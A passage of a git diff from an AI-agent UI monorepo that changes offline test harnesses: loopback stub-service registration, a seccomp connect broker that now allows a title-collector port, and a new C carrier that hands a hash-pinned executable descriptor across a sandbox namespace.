test launcher (or standalone preload) gives each invocation a private ledger, which its descendants also find through their ancestry; a test exercising the host ledger names its own. | | `BRAIN_WORKER_ID`, `BRAIN_ORCHESTRATOR_ID` | Opaque worker and orchestrator IDs recorded with each slot. Without them a worker is `host-` and has no orchestrator; it still gets the admission limit. | diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index ced131f89f..7c8e2e663c 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -1,9 +1,11 @@ import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; +import { nativeScriptedService,nativeFixtureTitleCollector } from "../../scripts/test-native-guard.ts"; /** Run through run.ts: the SDK, CLI and tool descendants share an offline netns. */ import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; +import { spyOn } from "bun:test"; +import * as titles from "../../packages/ui-backend-claude/src/title-usage.js"; import { query } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeSdkTurn } from "../../packages/ui-backend-claude/src/sdk-options.js"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -40,6 +42,8 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream", "request-id": id } }); } }); nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, home], fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"} }); +const createCollector=titles.createClaudeTitleUsageCollector; +const collectorObserver=spyOn(titles,"createClaudeTitleUsageCollector").mockImplementation(()=>{const collector=createCollector(),release=nativeFixtureTitleCollector(collector.env),stop=collector.stop;collector.stop=()=>{release();return stop();};return collector;}); try { for (turnIndex = 1; turnIndex <= 2; turnIndex++) { const controller = new AbortController(); @@ -98,4 +102,4 @@ try { productionAccounting: "automatic production SDK options emit supported helper receipts after worker exit", nonessentialTrafficDisabled: process.argv.includes("--disable-nonessential-traffic"), }, null, 2) + "\n"); -} finally { server.stop(true); } +} finally { collectorObserver.mockRestore();server.stop(true); } diff --git a/packages/core/tests/helpers/compute/local-process-provider.ts b/packages/core/tests/helpers/compute/local-process-provider.ts index 922e85acda..bb2fe5e358 100644 --- a/packages/core/tests/helpers/compute/local-process-provider.ts +++ b/packages/core/tests/helpers/compute/local-process-provider.ts @@ -144,7 +144,11 @@ export function localProcessCompute(workRoot: string): LocalCompute { const out = join(dirOf(ref), "cmd", id); mkdirSync(out); const src = command.cwd ? inside(join(dirOf(ref), "src"), command.cwd) : join(dirOf(ref), "src"); - const proc = Bun.spawn(["sh", "-c", SCRIPT, src, out, ...command.argv], { + // Declare the fixture script as a file so its detached PID remains the + // actual shell. Preserve the original -c body and positional $0 exactly. + const script = join(out, "command.sh"); + writeFileSync(script, "#!/bin/sh\nexec /bin/sh -c '" + SCRIPT.replaceAll("'", "'\"'\"'") + "' \"$@\"\n", {mode:0o700}); + const proc = Bun.spawn(["sh", script, src, out, ...command.argv], { env: { PATH: "/usr/bin:/bin", ...command.env }, stdio: ["ignore", "ignore", "ignore"], detached: true, diff --git a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts index d6aef4ef97..0dcf5cf7e9 100644 --- a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts @@ -1,3 +1,4 @@ +import {nativeScriptedService} from "../../../../scripts/test-native-guard"; /** Native Pi workers and Responses serialization, inside the caller's offline namespace. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -62,6 +63,8 @@ writeFileSync(join(process.env.PI_CODING_AGENT_DIR!, "models.json"), JSON.string // The hosted turn runs on the host inference relay (#3314), which sends openai's // credential only to an origin the operator lists for it: here, the loopback stub. process.env.BRAIN_UI_PI_CREDENTIAL_ORIGINS = `openai=${server.url.origin}`; +const releaseAuthority=nativeScriptedService(server.url.origin,{fixtureRoots:[scratch]}); + try { for (scenario of ["control", "repository", "facts", "promotion", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { brain = fixtureBrain(scratch, scenario); @@ -149,4 +152,4 @@ try { capture.budgets = hosted.receipts(); } finally { await hosted.close(); } writeFileSync(join(scratch, "requests.json"), JSON.stringify(captures)); -} finally { server.stop(true); } +} finally { releaseAuthority();server.stop(true); } diff --git a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts index 1f4635619c..e391688123 100644 --- a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts +++ b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts @@ -581,7 +581,7 @@ function heldRootSeam(f: ReturnType, status: () => IdentityWorke const real = broker = prepare(...args); control = identityControl(real, { delayMs: 100 }); const requested = new Set(args[2].map(root => root.name)); - return { ...real, command: ["/bin/sh", "-c", 'exec 7<"$1" 8<"$2"; exec sleep 30', "sh", roots.state, roots.temp], + return { ...real, command: ["/usr/bin/python3", "-I", "-S", "-c", 'import os,sys,time\nfor target,path in [(7,sys.argv[1]),(8,sys.argv[2])]:\n fd=os.open(path,os.O_RDONLY|os.O_DIRECTORY)\n os.dup2(fd,target)\n if fd!=target: os.close(fd)\ntime.sleep(30)', roots.state, roots.temp], *readySteps(supervisor: number) { // Until its bootstrap has executed the shell, those descriptors are the bootstrap's own. const holds = (fd: number, root: string) => { try { return readlinkSync(`/proc/${supervisor}/fd/${fd}`) === root; } catch { return false; } }; diff --git a/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts b/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts index 9baddf40ed..2c0bd0e3a8 100644 --- a/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts +++ b/packages/ui-server/tests/helpers/fixture-turn-data-tree.ts @@ -3,16 +3,17 @@ import {spyOn} from "bun:test"; import * as trees from "../../src/brain/turn-data-tree.js"; import {nativeFixtureCopiedTurnTree} from "../../../../scripts/test-native-guard"; -export function observeCopiedFixtureTurnTrees(liveView:(view:unknown)=>boolean):()=>void { - const acquire=trees.createTurnDataTree; +// Capture the real allocator once: Bun reuses a spy object on the same export. +const acquire=trees.createTurnDataTree; +export function observeCopiedFixtureTurnTrees(liveView:(view:unknown)=>boolean,beforeClose?:()=>Promise):()=>void { const observer=spyOn(trees,"createTurnDataTree").mockImplementation(async options=>{ const result=await acquire(options); if(!result.mount||!liveView(options.view))return result; let release:()=>void; try{release=nativeFixtureCopiedTurnTree(options.brainPath,options.view,result.mount,()=>liveView(options.view),false);} catch(error){await result.close();throw error;} - const close=result.close;let closed=false; - result.close=async()=>{if(closed)return close();closed=true;release();return close();}; + const close=result.close;let closing:Promise|undefined; + result.close=()=>closing??=(async()=>{try{await beforeClose?.();}finally{release();await close();}})(); return result; }); return ()=>observer.mockRestore(); diff --git a/packages/ui-server/tests/subscription-login.test.ts b/packages/ui-server/tests/subscription-login.test.ts index 3c184e22c5..05c18c8ab5 100644 --- a/packages/ui-server/tests/subscription-login.test.ts +++ b/packages/ui-server/tests/subscription-login.test.ts @@ -9,6 +9,7 @@ * is fake, and nothing leaves the machine: model discovery is off, and the * CLI's base URL is the stub, which the host relay may send the login to. */ +import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -30,6 +31,7 @@ const API_KEY = `sk-ant-api03-${"k".repeat(95)}AA`; const seen: Array<{ xApiKey: string | null; authorization: string | null }> = []; const scratch: string[] = []; +const releaseScripted: Array<()=>void> = []; const savedEnv = { ...process.env }; let server: ReturnType; @@ -53,6 +55,7 @@ afterAll(() => { }); afterEach(() => { + for(const release of releaseScripted.splice(0).reverse())release(); seen.length = 0; for (const key of Object.keys(process.env)) { if (!(key in savedEnv)) delete process.env[key]; @@ -97,6 +100,7 @@ function headlessHost(): { brainPath: string; dbPath: string } { CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", BRAIN_UI_SUBPROCESS_ENV_EXTRA: "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", }); + releaseScripted.push(nativeScriptedService(`http://127.0.0.1:${server.port}`,{fixtureRoots:[dir,brainPath],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:FIRST_TOKEN,ANTHROPIC_API_KEY:API_KEY}})); return { brainPath, dbPath: join(dir, "ui.db") }; } diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index 20b315a640..229a2dcebd 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c index 3470c5efc4..9047de844b 100644 --- a/scripts/native-proof/native-connect.c +++ b/scripts/native-proof/native-connect.c @@ -34,6 +34,17 @@ #define BLOCK(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,ERRNO_DENY) #define NOTIFY(n) BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,n,0,1), BPF_STMT(BPF_RET|BPF_K,SECCOMP_RET_USER_NOTIF) static volatile sig_atomic_t child_pid; +static volatile sig_atomic_t probe_active; +static char probe_source[108],probe_directory[108]; +/* RECV can block after a child-exit poll wakeup. Finish the same owned child + from SIGCHLD too, using only async-signal-safe calls; no socket policy changes. */ +static void child_finished(int sig) { + (void)sig;pid_t child=child_pid;int status=0; + if(child<=0||waitpid(child,&status,WNOHANG)!=child)return; + int code=WIFEXITED(status)?WEXITSTATUS(status):128+WTERMSIG(status); + if(probe_active){unlink(probe_source);rmdir(probe_directory);if(code==0){const char passed[]="NATIVE_SOCKET_POLICY_HELD\n";ssize_t written=write(1,passed,sizeof(passed)-1);if(written!=(ssize_t)(sizeof(passed)-1))_exit(125);}} + _exit(code); +} static void forward(int sig) { if (child_pid > 0) kill(child_pid,sig); } static int install_policy(void) { struct sock_filter instructions[] = { @@ -127,15 +138,19 @@ static int send_connected(int listener,struct seccomp_notif *request,int64_t *va for(size_t i=0;idata.args[2],expected=strlen(allowed); struct sockaddr_storage storage={0}; if(lengthsizeof(storage)||!read_guest(request->pid,&storage,request->data.args[1],length))return EPERM; struct sockaddr_un *address=(struct sockaddr_un *)&storage; int tcp=storage.ss_family==AF_INET; + const struct sockaddr_in *destination=NULL; if(tcp){ const struct sockaddr_in *requested=(const struct sockaddr_in *)&storage; - if(!proxy||length!=sizeof(*requested)||requested->sin_addr.s_addr!=proxy->sin_addr.s_addr||requested->sin_port!=proxy->sin_port)return EPERM; + if(length!=sizeof(*requested))return EPERM; + if(proxy&&requested->sin_addr.s_addr==proxy->sin_addr.s_addr&&requested->sin_port==proxy->sin_port)destination=proxy; + else if(collector&&requested->sin_addr.s_addr==collector->sin_addr.s_addr&&requested->sin_port==collector->sin_port)destination=collector; + if(!destination)return EPERM; }else{ if(lengthsizeof(*address))return EPERM; size_t supplied=length - offsetof(struct sockaddr_un,sun_path),actual=strnlen(address->sun_path,supplied); @@ -149,12 +164,12 @@ static int connect_pinned(int listener,struct seccomp_notif *request,int pinned, It never continues the caller's syscall or trusts caller memory afterward. */ struct sockaddr_un target={.sun_family=AF_UNIX}; snprintf(target.sun_path,sizeof(target.sun_path),"/proc/self/fd/%d",pinned); - int result=tcp?connect(socket,(const struct sockaddr *)proxy,sizeof(*proxy)):connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); + int result=tcp?connect(socket,(const struct sockaddr *)destination,sizeof(*destination)):connect(socket,(struct sockaddr *)&target,offsetof(struct sockaddr_un,sun_path)+strlen(target.sun_path)+1); int error=result==0?0:errno; if((!error||error==EINPROGRESS) && retain_cookie(socket)) error=ENOMEM; close(socket); return error; } -static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign,const struct sockaddr_in *proxy) { +static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign,const struct sockaddr_in *proxy,const struct sockaddr_in *collector) { int ready[2],ack[2]; if(pipe2(ready,O_CLOEXEC)||pipe2(ack,O_CLOEXEC)) return 125; /* Native descendants cannot inspect or change their broker through /proc. */ if(prctl(PR_SET_DUMPABLE,0)) return 125; @@ -199,6 +214,7 @@ static int run(int pinned,const char *allowed,char **command,int probe,const cha if(acknowledged!=1) { kill(child,SIGKILL); waitpid(child,NULL,0); if(listener>=0) close(listener); return 125; } if(listener<0) { kill(child,SIGKILL); waitpid(child,NULL,0); return 125; } signal(SIGTERM,forward); signal(SIGINT,forward); signal(SIGHUP,forward); + struct sigaction completed={.sa_handler=child_finished,.sa_flags=SA_NOCLDSTOP};sigemptyset(&completed.sa_mask);if(sigaction(SIGCHLD,&completed,NULL)){kill(child,SIGKILL);waitpid(child,NULL,0);close(listener);return 125;} struct seccomp_notif_sizes sizes; if(syscall(SYS_seccomp,SECCOMP_GET_NOTIF_SIZES,0,&sizes)) { kill(child,SIGKILL); waitpid(child,NULL,0); close(listener); return 125; } struct seccomp_notif *request=calloc(1,sizes.seccomp_notif); @@ -206,12 +222,12 @@ static int run(int pinned,const char *allowed,char **command,int probe,const cha int status=0; for(;;) { if(waitpid(child,&status,WNOHANG)==child) break; - struct pollfd input={.fd=listener,.events=POLLIN}; if(poll(&input,1,100)<=0) continue; + struct pollfd input={.fd=listener,.events=POLLIN}; if(poll(&input,1,100)<=0 || !(input.revents&POLLIN)) continue; memset(request,0,sizes.seccomp_notif); if(ioctl(listener,SECCOMP_IOCTL_NOTIF_RECV,request)) { if(errno==EINTR||errno==ENOENT) continue; kill(child,SIGKILL); waitpid(child,&status,0); break; } int error=EPERM; int64_t value=0; if(valid(listener,request->id)) { - if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed,proxy); + if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed,proxy,collector); else if(request->data.nr==SYS_sendmsg) error=send_connected(listener,request,&value); } struct seccomp_notif_resp response={.id=request->id,.error=-error,.val=value,.flags=0}; @@ -226,21 +242,23 @@ int main(int argc,char **argv) { const char *head=probe?argv[2]:(argc>2?argv[2]:""); if(strlen(head)!=40 || strspn(head,"0123456789abcdef")!=40) return 125; char directory[]="/tmp/odysseus-connect-policy-XXXXXX",source[108],other[108]; - int server=-1; const char *allowed=NULL; int pinned=-1,proxy_pin=-1,proxy_enabled=0,payload=12; + int server=-1; const char *allowed=NULL; int pinned=-1,proxy_pin=-1,proxy_enabled=0,collector_enabled=0,collector_pin=-1,payload=12; struct sockaddr_in proxy={.sin_family=AF_INET,.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; + struct sockaddr_in collector={.sin_family=AF_INET,.sin_addr={.s_addr=htonl(INADDR_LOOPBACK)}}; if(probe) { if(!mkdtemp(directory)) return 125; snprintf(source,sizeof(source),"%s/relay.sock",directory); snprintf(other,sizeof(other),"%s/foreign.sock",directory); struct sockaddr_un address={.sun_family=AF_UNIX}; strcpy(address.sun_path,source); server=socket(AF_UNIX,SOCK_STREAM,0); if(server<0||bind(server,(struct sockaddr *)&address,sizeof(address))||listen(server,16)) return 125; pinned=open(source,O_PATH|O_CLOEXEC); allowed=source; + strcpy(probe_source,source);strcpy(probe_directory,directory);probe_active=1; } else { if(argc<13 || strcmp(argv[1],"--head") || strcmp(argv[3],"--socket") || strcmp(argv[5],"--device") || strcmp(argv[7],"--inode") || strcmp(argv[9],"--allowed")) return 125; pinned=open(argv[4],O_PATH|O_CLOEXEC); allowed=argv[10]; struct stat info; if(pinned<0||fstat(pinned,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[6],NULL,10)||info.st_ino!=strtoull(argv[8],NULL,10)) return 125; if(!strcmp(argv[11],"--turn-proxy")){ - if(argc<17||strcmp(argv[15],"--"))return 125; + if(argc<17)return 125; proxy_pin=open(argv[12],O_PATH|O_CLOEXEC); if(proxy_pin<0||fstat(proxy_pin,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[13],NULL,10)||info.st_ino!=strtoull(argv[14],NULL,10))return 125; /* The pinned first-party wrapper sets this before launching the broker. @@ -250,10 +268,21 @@ int main(int argc,char **argv) { unsigned long port=strtoul(url+strlen(prefix),&end,10); if(!port||port>65535||!end||*end)return 125; proxy.sin_port=htons((uint16_t)port);proxy_enabled=1;payload=16; - }else if(strcmp(argv[11],"--"))return 125; + }else payload=12; + int at=payload-1; + if(!strcmp(argv[at],"--title-collector")){ + if(argc65535||!end||*end)return 125; + collector_pin=open(argv[at+2],O_PATH|O_CLOEXEC); + if(collector_pin<0||fstat(collector_pin,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[at+3],NULL,10)||info.st_ino!=strtoull(argv[at+4],NULL,10))return 125; + collector.sin_port=htons((uint16_t)port);collector_enabled=1;at+=5; + } + if(strcmp(argv[at],"--"))return 125; + payload=at+1; } if(pinned<0 || strlen(allowed)>=108) return 125; - int result=run(pinned,allowed,probe?NULL:argv+payload,probe,other,proxy_enabled?&proxy:NULL); close(pinned);if(proxy_pin>=0)close(proxy_pin); + int result=run(pinned,allowed,probe?NULL:argv+payload,probe,other,proxy_enabled?&proxy:NULL,collector_enabled?&collector:NULL); close(pinned);if(proxy_pin>=0)close(proxy_pin);if(collector_pin>=0)close(collector_pin); if(probe) { close(server); unlink(source); rmdir(directory); if(result==0) puts("NATIVE_SOCKET_POLICY_HELD"); } return result; } diff --git a/scripts/native-proof/native-runtime-carrier.c b/scripts/native-proof/native-runtime-carrier.c new file mode 100644 index 0000000000..91b6d96078 --- /dev/null +++ b/scripts/native-proof/native-runtime-carrier.c @@ -0,0 +1,50 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +static int refusal(void){fputs("Offline native executable transfer refused\n",stderr);return 125;} +static int address(const char *path,struct sockaddr_un *out){memset(out,0,sizeof(*out));out->sun_family=AF_UNIX;if(strlen(path)>=sizeof(out->sun_path))return -1;strcpy(out->sun_path,path);return 0;} +static int send_pin(int client,int fd){ + char value=fd>=0?'Y':'N';struct iovec data={&value,1};char control[CMSG_SPACE(sizeof(int))];struct msghdr msg={.msg_iov=&data,.msg_iovlen=1}; + if(fd>=0){memset(control,0,sizeof(control));msg.msg_control=control;msg.msg_controllen=sizeof(control);struct cmsghdr *c=CMSG_FIRSTHDR(&msg);c->cmsg_level=SOL_SOCKET;c->cmsg_type=SCM_RIGHTS;c->cmsg_len=CMSG_LEN(sizeof(int));memcpy(CMSG_DATA(c),&fd,sizeof(fd));} + return sendmsg(client,&msg,MSG_NOSIGNAL)==1?0:-1; +} +int main(int argc,char **argv){ + if(argc<3)return refusal();struct sockaddr_un addr;if(address(argv[2],&addr))return refusal(); + if(!strcmp(argv[1],"serve")){ + if(argc!=4||fcntl(3,F_SETFD,FD_CLOEXEC))return refusal();pid_t owner=(pid_t)strtol(argv[3],0,10);if(owner<=1||prctl(PR_SET_PDEATHSIG,SIGKILL)||getppid()!=owner)return refusal(); + int server=socket(AF_UNIX,SOCK_STREAM|SOCK_CLOEXEC,0);if(server<0||bind(server,(struct sockaddr*)&addr,sizeof(addr))||chmod(argv[2],0600)||listen(server,4))return refusal();int used=0; + for(;;){struct pollfd watched[2]={{server,POLLIN,0},{0,POLLIN,0}};if(poll(watched,2,30000)<=0)break;if(watched[1].revents&(POLLHUP|POLLERR))break; + if(watched[1].revents&POLLIN){char quit;if(read(0,&quit,1)<=0)break;return refusal();} + if(!(watched[0].revents&POLLIN))continue;int client=accept4(server,0,0,SOCK_CLOEXEC);if(client<0)return refusal();struct ucred peer;socklen_t size=sizeof(peer); + if(getsockopt(client,SOL_SOCKET,SO_PEERCRED,&peer,&size)||size!=sizeof(peer)){close(client);return refusal();} + printf("%s %d %u %u\n",used?"replay":"request",peer.pid,peer.uid,peer.gid);fflush(stdout); + if(used){send_pin(client,-1);close(client);continue;} + struct pollfd answer={0,POLLIN,0};if(poll(&answer,1,30000)<=0){close(client);break;}char decision[8];if(!fgets(decision,sizeof(decision),stdin)){close(client);break;} + used=1;int granted=!strcmp(decision,"yes\n");int result=send_pin(client,granted?3:-1);close(3);close(client);if(result)return refusal(); + } + close(server);unlink(argv[2]);return 0; + } + if(strcmp(argv[1],"receive")||argc<6||strcmp(argv[4],"--"))return refusal(); + char *end=0;long destination=strtol(argv[3],&end,10);if(!end||*end||destination<3||destination>1024||fcntl((int)destination,F_GETFD)>=0)return refusal(); + int client=-1;for(int attempt=0;attempt<3000;attempt++){client=socket(AF_UNIX,SOCK_STREAM|SOCK_CLOEXEC,0);if(client<0)return refusal();if(!connect(client,(struct sockaddr*)&addr,sizeof(addr)))break;int error=errno;close(client);client=-1;if(error!=ENOENT&&error!=ECONNREFUSED)return refusal();usleep(10000);}if(client<0)return refusal(); + char value=0,control[CMSG_SPACE(sizeof(int))*2];struct iovec data={&value,1};struct msghdr msg={.msg_iov=&data,.msg_iovlen=1,.msg_control=control,.msg_controllen=sizeof(control)}; + struct pollfd ready={client,POLLIN,0};if(poll(&ready,1,30000)<=0){close(client);return refusal();} + ssize_t bytes=recvmsg(client,&msg,MSG_CMSG_CLOEXEC);close(client);if(bytes!=1||value!='Y'||(msg.msg_flags&(MSG_CTRUNC|MSG_TRUNC)))return refusal(); + struct cmsghdr *c=CMSG_FIRSTHDR(&msg);if(!c||CMSG_NXTHDR(&msg,c)||c->cmsg_level!=SOL_SOCKET||c->cmsg_type!=SCM_RIGHTS||c->cmsg_len!=CMSG_LEN(sizeof(int)))return refusal(); + int pin;memcpy(&pin,CMSG_DATA(c),sizeof(pin));struct stat info;if(fstat(pin,&info)||!S_ISREG(info.st_mode)){close(pin);return refusal();} + if(dup3(pin,(int)destination,O_CLOEXEC)<0){close(pin);return refusal();}close(pin); + // The only inheritance window is the fixed namespace/bwrap hand-off. Bwrap + // consumes --ro-bind-data and closes it before any payload can run. + if(fcntl((int)destination,F_SETFD,0))return refusal();execvp(argv[5],argv+5);close((int)destination);return refusal(); +} diff --git a/scripts/native-runtime-pin.ts b/scripts/native-runtime-pin.ts new file mode 100644 index 0000000000..9751932f23 --- /dev/null +++ b/scripts/native-runtime-pin.ts @@ -0,0 +1,54 @@ +/** Test-only transfer of an admitted executable across a keeper namespace. */ +import {closeSync,constants,fstatSync,lstatSync,mkdtempSync,openSync,readFileSync,readSync,realpathSync,rmSync,chmodSync} from "node:fs"; +import {createHash} from "node:crypto"; +import {join} from "node:path"; +import {tmpdir} from "node:os"; +const spawn=Bun.spawn.bind(Bun),spawnSync=Bun.spawnSync.bind(Bun); +const PIN_FD=207; +// Linux O_CLOEXEC: the carrier itself is Linux-only. +const O_CLOEXEC=0o2000000; +let helper:{root:string;file:string}|undefined; +const held=new Set<()=>void>(); +function carrier():string{ + if(helper)return helper.file; + const root=mkdtempSync(join(tmpdir(),"odysseus-native-carrier-")),file=join(root,"carrier"); + try{const built=spawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",file],{stdin:readFileSync(join(import.meta.dir,"native-proof/native-runtime-carrier.c")),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}});if(built.exitCode!==0)throw Error("native executable carrier unavailable");chmodSync(file,0o555); + helper={root,file};process.prependOnceListener("exit",()=>{for(const close of [...held])close();rmSync(root,{recursive:true,force:true});});return file; + }catch(error){rmSync(root,{recursive:true,force:true});throw error;} +} +function identity(pid:number):{start:string;parent:number;state:string}{ + const fields=readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").trim().split(/\s+/); + if(!fields[19]||!["R","S","D","I","T","t","W","P"].includes(fields[0]!))throw Error("native executable launch identity unavailable");return {start:fields[19],parent:Number(fields[1]),state:fields[0]!}; +} +function stamp(fd:number){const s=fstatSync(fd,{bigint:true});if(!s.isFile())throw Error("native executable pin is not regular");return {dev:s.dev,ino:s.ino,size:s.size,mtime:s.mtimeNs,ctime:s.ctimeNs};} +function same(a:ReturnType,b:ReturnType){return a.dev===b.dev&&a.ino===b.ino&&a.size===b.size&&a.mtime===b.mtime&&a.ctime===b.ctime;} +function digest(fd:number):string{const hash=createHash("sha256"),buffer=Buffer.alloc(1024*1024);let position=0,bytes;while((bytes=readSync(fd,buffer,0,buffer.length,position))>0){hash.update(buffer.subarray(0,bytes));position+=bytes;}return hash.digest("hex");} +export function pinNativeWorkerExecutable(selected:string,validateAuthority:()=>void,reject:(reason:string)=>void){ + const program=carrier();validateAuthority();if(realpathSync(selected)!==selected||!lstatSync(selected).isFile())throw Error("native executable pin requires its selected canonical path"); + let fd:number|undefined=openSync(selected,constants.O_RDONLY|O_CLOEXEC|constants.O_NOFOLLOW); + const {expected,hash}=(()=>{try{const expected=stamp(fd!),hash=digest(fd!);if(!same(expected,stamp(fd!)))throw Error("native executable pin changed");return {expected,hash};}catch(error){closeSync(fd!);throw error;}})(); + const root=(()=>{try{return mkdtempSync(join(tmpdir(),"odysseus-native-pin-"));}catch(error){closeSync(fd!);throw error;}})(),socket=join(root,"transfer");let closed=false,used=false,transferPeer:number|undefined,owner:{pid:number;start:string}|undefined; + const server=(()=>{try{return spawn([program,"serve",socket,String(process.pid)],{env:{},stdin:"pipe",stdout:"pipe",stderr:"pipe",stdio:["pipe","pipe","pipe",fd!]});}catch(error){closeSync(fd!);rmSync(root,{recursive:true,force:true});throw error;}})();server.unref(); + const closePin=()=>{if(fd!==undefined){closeSync(fd);fd=undefined;}}; + const validate=()=>{ + if(closed)throw Error("native executable pin expired");validateAuthority();if(realpathSync(selected)!==selected)throw Error("native executable pin changed"); + const check=fd??openSync(selected,constants.O_RDONLY|O_CLOEXEC|constants.O_NOFOLLOW); + try{const before=stamp(check);if(!same(expected,before)||digest(check)!==hash||!same(before,stamp(check)))throw Error("native executable pin changed");const named=lstatSync(selected,{bigint:true});if(named.dev!==expected.dev||named.ino!==expected.ino||named.size!==expected.size)throw Error("native executable pin changed");}finally{if(check!==fd)closeSync(check);} + }; + const ownsPeer=(pid:number,start:string):boolean=>{ + if(!owner||identity(owner.pid).start!==owner.start||identity(pid).start!==start||realpathSync(`/proc/${pid}/exe`)!==program)return false; + let current=pid;for(let depth=0;current>1&&depth<64;depth++){const now=identity(current);if(current===owner.pid)return now.start===owner.start;current=now.parent;}return false; + }; + const report=(reason:string)=>{if(closed)return;try{reject(reason);}catch{/* The rejection is retained by the guard; never grant a descriptor. */}}; + const dispose=()=>{if(closed)return;closed=true;closePin();server.stdin.end();if(server.exitCode===null)server.kill("SIGKILL");rmSync(root,{recursive:true,force:true});held.delete(dispose);};held.add(dispose); + const read=(async()=>{let pending="";for await(const chunk of server.stdout){pending+=new TextDecoder().decode(chunk);if(pending.length>1024)throw Error("native executable transfer failed");let at;while((at=pending.indexOf("\n"))>=0){const line=pending.slice(0,at);pending=pending.slice(at+1);const match=/^(request|replay) ([1-9][0-9]*) ([0-9]+) ([0-9]+)$/.exec(line);let allow=false; + try{if(!match||used||match[1]!=="request")throw Error("native executable transfer replay");const pid=Number(match[2]),start=identity(pid).start; + if(!ownsPeer(pid,start))throw Error("native executable transfer peer mismatch"); + validate();if(!ownsPeer(pid,start))throw Error("native executable transfer peer mismatch");transferPeer=pid;used=true;allow=true; + }catch(error){report(error instanceof Error?error.message:"native executable transfer failed");} + if(match?.[1]==="request")server.stdin.write(allow?"yes\n":"no\n"); + }}if(!closed&&!used)report("native executable transfer failed");})();void 